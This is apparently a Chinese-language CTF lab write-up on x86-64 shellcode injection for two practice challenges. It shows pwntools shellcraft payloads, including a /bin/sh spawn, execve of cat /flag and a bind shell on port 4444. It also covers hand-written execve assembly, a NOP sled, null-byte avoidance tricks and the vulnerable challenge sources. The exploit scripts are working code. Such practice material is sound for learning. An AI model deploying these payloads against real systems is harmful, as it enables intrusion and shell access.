【pwn】shellcode构造
靶场:pwn.hust.college shellcode:Level 1.1、2.0
目录
shellcode
NOP滑梯
源代码
EXP
过滤空字符
指令替代技巧
字符串构造技巧
源代码
EXP
shellcode
Shellcode 是一段机器可执行的代码,可以在任何内存地址执行,直接使用系统调用而不依赖库,尽量紧凑短小,避免特定字符如\x00、换行符等。
使用pwntools的shellcraft,将代码编译成汇编指令,asm将汇编指令汇编成机器码:
from pwn import *context(arch="amd64",os="linux",log_level="info")#获取shell
shellcode = asm(shellcraft.sh())# 执行指定命令
shellcode = asm(shellcraft.execve('/bin/sh'))
shellcode = asm(shellcraft.execve('/bin/cat', ['/bin/cat', '/flag']))# 系统调用
shellcode = asm(shellcraft.syscall('SYS_execve', '/bin/sh', 0, 0))# 打开文件
shellcode = asm(shellcraft.open('/flag'))# 读取文件
shellcode = asm(shellcraft.cat('/flag'))# 绑定shell
shellcode = asm(shellcraft.bindsh(4444))#手动编写汇编实现execve("/bin/sh", NULL, NULL)
shellcode = asm('''xor rsi, rsipush rsimov rdi, 0x68732f6e69622f2fpush rdipush rsppop rdixor rdx, rdxmov rax, 0x3bsyscall
''')
NOP滑梯
程序会从标准输入读取0x1000字节,然后随机跳过一段字节(范围0x200到0x8FF),再执行剩下的部分。实际shellcode执行中也常常不确定开始执行的位置,需要构造一段NOP空指令(机器码0x90),使得无论跳到哪里,最终都能执行到有效 payload。
to_skip = (rand() % 0x700) + 0x200;
shellcode_mem += to_skip;
shellcode_size -= to_skip;
源代码
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <stdio.h>
#include <time.h>
#include "util.h"#include <capstone/capstone.h>#define CAPSTONE_ARCH CS_ARCH_X86
#define CAPSTONE_MODE CS_MODE_64void print_disassembly(void *shellcode_addr, size_t shellcode_size)
{csh handle;cs_insn *insn;size_t count;if (cs_open(CAPSTONE_ARCH, CAPSTONE_MODE, &handle) != CS_ERR_OK){printf("ERROR: disassembler failed to initialize.\n");return;}count = cs_disasm(handle, shellcode_addr, shellcode_size, (uint64_t)shellcode_addr, 0, &insn);if (count > 0){size_t j;printf(" Address | Bytes | Instructions\n");printf("------------------------------------------------------------------------------------------\n");for (j = 0; j < count; j++){printf("0x%016lx | ", (unsigned long)insn[j].address);for (int k = 0; k < insn[j].size; k++) printf("%02hhx ", insn[j].bytes[k]);for (int k = insn[j].size; k < 15; k++) printf(" ");printf(" | %s %s\n", insn[j].mnemonic, insn[j].op_str);}cs_free(insn, count);}else{printf("ERROR: Failed to disassemble shellcode! Bytes are:\n\n");printf(" Address | Bytes\n");printf("--------------------------------------------------------------------\n");for (unsigned int i = 0; i <= shellcode_size; i += 16){printf("0x%016lx | ", (unsigned long)shellcode_addr+i);for (int k = 0; k < 16; k++) printf("%02hhx ", ((uint8_t*)shellcode_addr)[i+k]);printf("\n");}}cs_close(&handle);
}void *shellcode_mem;
size_t shellcode_size;int main(int argc, char **argv, char **envp)
{assert(argc > 0);for (int i = 3; i < 10000; i++) close(i);for (char **a = argv; *a != NULL; a++) memset(*a, 0, strlen(*a));for (char **a = envp; *a != NULL; a++) memset(*a, 0, strlen(*a));uint8_t shellcode[0x1000];shellcode_mem = (void *)&shellcode;print_desc();puts("You need to skip some bytes.Good luck!");puts("Reading 0x1000 bytes from stdin.\n");shellcode_size = read(0, shellcode_mem, 0x1000);assert(shellcode_size > 0);srand(time(NULL));int to_skip = (rand() % 0x700) + 0x200;shellcode_mem += to_skip;shellcode_size -= to_skip;puts("This challenge is about to execute the following shellcode:\n");print_disassembly(shellcode_mem, shellcode_size);puts("");puts("Executing shellcode!\n");((void(*)())shellcode_mem)();print_exit();
}
EXP
payload=nop_sled+shellcode
from pwn import *context(arch="amd64",os="linux",log_level="info")challenge_path="/challenge/shellcode-injection-level1.1"
p = process(challenge_path)shellcode = shellcraft.execve('/bin/cat',['/bin/cat', '/flag'],[])
codebytes = b'\x90' * 0x900 + asm(shellcode)p.send(codebytes)
print(p.recvall().decode())
过滤空字符
程序执行shellcode前检测,不能有\x00空字符,绕过空字符的思路主要有以下几种:
指令替代技巧
xor rax, rax ; 代替 mov rax, 0pop rax ; 代替 mov rax, 2mov al, 2 ; 代替 mov rax, 2
字符串构造技巧
分步构造、异或构造、运算构造
:分步法
xor rax, rax
push rax ; 终止符
push 0x67616c66 ; 'flag'
push 0x2f ; '/'; 异或
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x67616c662f
xor [rsp], rax ; 栈上得到 '/flag'
源代码
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <stdio.h>
#include "util.h"#include <capstone/capstone.h>#define CAPSTONE_ARCH CS_ARCH_X86
#define CAPSTONE_MODE CS_MODE_64void print_disassembly(void *shellcode_addr, size_t shellcode_size)
{csh handle;cs_insn *insn;size_t count;if (cs_open(CAPSTONE_ARCH, CAPSTONE_MODE, &handle) != CS_ERR_OK){printf("ERROR: disassembler failed to initialize.\n");return;}count = cs_disasm(handle, shellcode_addr, shellcode_size, (uint64_t)shellcode_addr, 0, &insn);if (count > 0){size_t j;printf(" Address | Bytes | Instructions\n");printf("------------------------------------------------------------------------------------------\n");for (j = 0; j < count; j++){printf("0x%016lx | ", (unsigned long)insn[j].address);for (int k = 0; k < insn[j].size; k++) printf("%02hhx ", insn[j].bytes[k]);for (int k = insn[j].size; k < 15; k++) printf(" ");printf(" | %s %s\n", insn[j].mnemonic, insn[j].op_str);}cs_free(insn, count);}else{printf("ERROR: Failed to disassemble shellcode! Bytes are:\n\n");printf(" Address | Bytes\n");printf("--------------------------------------------------------------------\n");for (unsigned int i = 0; i <= shellcode_size; i += 16){printf("0x%016lx | ", (unsigned long)shellcode_addr+i);for (int k = 0; k < 16; k++) printf("%02hhx ", ((uint8_t*)shellcode_addr)[i+k]);printf("\n");}}cs_close(&handle);
}void *shellcode_mem;
size_t shellcode_size;int main(int argc, char **argv, char **envp)
{assert(argc > 0);for (int i = 3; i < 10000; i++) close(i);for (char **a = argv; *a != NULL; a++) memset(*a, 0, strlen(*a));for (char **a = envp; *a != NULL; a++) memset(*a, 0, strlen(*a));shellcode_mem = mmap((void *) 0x1cad2000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, 0, 0);print_desc();printf("[LEAK] Mapping shellcode memory at %p!\n", shellcode_mem);puts("Do you understand push and pop assignments?");assert(shellcode_mem == (void *) 0x1cad2000);puts("Reading 0x1000 bytes from stdin.\n");shellcode_size = read(0, shellcode_mem, 0x1000);assert(shellcode_size > 0);puts("Executing filter...\n");puts("This challenge requires that your shellcode have no NULL bytes!\n");for (int i = 0; i < shellcode_size; i++)if (!((uint8_t*)shellcode_mem)[i]){printf("Failed filter at byte %d!\n", i);exit(1);}puts("This challenge is about to execute the following shellcode:\n");print_disassembly(shellcode_mem, shellcode_size);puts("");puts("Executing shellcode!\n");((void(*)())shellcode_mem)();print_exit();
}
EXP
直接shellcraft生成就可以了,若还有空字节,可以导入pwnlib.encoders使用编码器,或者用预制硬编码的shellcode。
from pwn import *p = process("/challenge/shellcode-injection-level2.0")
context(arch='amd64', os='linux') shellcode = asm(shellcraft.cat('/flag'))
# 经典 /bin/sh
# shellcode = asm('''
# xor rsi, rsi
# push rsi
# mov rdi, 0x68732f6e69622f2f
# push rdi
# push rsp
# pop rdi
# xor rdx, rdx
# push 59
# pop rax
# syscall
# ''')p.send(shellcode)
print(p.recvall()) # p.interactive()
